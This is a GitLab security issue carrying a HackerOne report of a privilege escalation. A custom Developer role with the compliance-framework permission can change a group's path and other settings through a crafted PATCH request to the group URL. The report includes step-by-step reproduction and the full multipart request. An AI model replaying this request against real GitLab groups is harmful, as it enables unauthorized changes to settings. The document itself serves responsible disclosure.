Skip to content

User with custom role `Developer` base role `admin_compliance_framework` permission can change group URL via POST /{group_url}

⚠ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #2513934 by js_noob on 2024-05-21, assigned to @greg:

Report | Attachments | How To Reproduce

Report

Summary

Hello team, from the docs, users with admin_compliance_framework should only be able to create/update/delete the group's compliance framework.

Create, read, update, and delete compliance frameworks. Users with this permission can also assign a compliance framework label to a project, and set the default framework of a group.

However, users with that permission can update most of the group's permission, more specifically any change that is done by a POST request to /GROUP_PATH. The below POC is just an example of these changes.

Steps to reproduce

As an owner:

  1. Create a new group and apply the ultimate trial to it
  2. Create a new project in that group, and add a .gitlab-ci.yml file with the following content
job:  
    script:  
        - echo "Hello"
  1. Navigate to https://gitlab.com/groups/GROUP/-/settings/roles_and_permissions, and create a new custom role having:
    1. base role: Developer
    2. extra role: Admin compliance framework

Screenshot_2024-05-21_at_4.37.52_PM.png

  1. Invite a developer to that group, and grant him that new role

As the developer:

  1. Verify that can't edit any of the group's settings
  2. Navigate to https://gitlab.com/groups/GROUP/-/security/compliance_dashboard/frameworks/new, fill out the necessary fields, and intercept the request
  3. Replace the request's URL with /GROUP_PATH
  4. Replace the request body + headers (except cookies) with the following, noting:
    1. Replace CSRF_TOKEN with X-Csrf-Token header of the previous (original) header
    2. Replace NEW_GROUP_PATH with the path you want
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/126.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate, br  
Content-Type: multipart/form-data; boundary=---------------------------663860612978856746113686263  
Content-Length: 630  
Origin: https://gitlab.com  
Upgrade-Insecure-Requests: 1  
Sec-Fetch-Dest: document  
Sec-Fetch-Mode: navigate  
Sec-Fetch-Site: same-origin  
Sec-Fetch-User: ?1  
Priority: u=1  
Te: trailers

-----------------------------663860612978856746113686263  
Content-Disposition: form-data; name="_method"

patch  
-----------------------------663860612978856746113686263  
Content-Disposition: form-data; name="authenticity_token"

CSRF_TOKEN  
-----------------------------663860612978856746113686263  
Content-Disposition: form-data; name="group[parent_id]"


-----------------------------663860612978856746113686263  
Content-Disposition: form-data; name="group[path]"

NEW_GROUP_PATH  
-----------------------------663860612978856746113686263--
  1. Verify the success

Please refer to the video attached is you get stuck at any point.

Examples

Screen_Recording_2024-05-21_at_4.28.35_PM.mov

What is the current bug behavior?

Users with admin_compliance_framework custom permission have access to POST /GROUP_PATH.

What is the expected correct behavior?

Users with admin_compliance_framework custom permission shouldn't be able access to POST /GROUP_PATH.

Output of checks

This bug happens on GitLab.com

Impact

Unauthorized users can change a group's settings.

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section: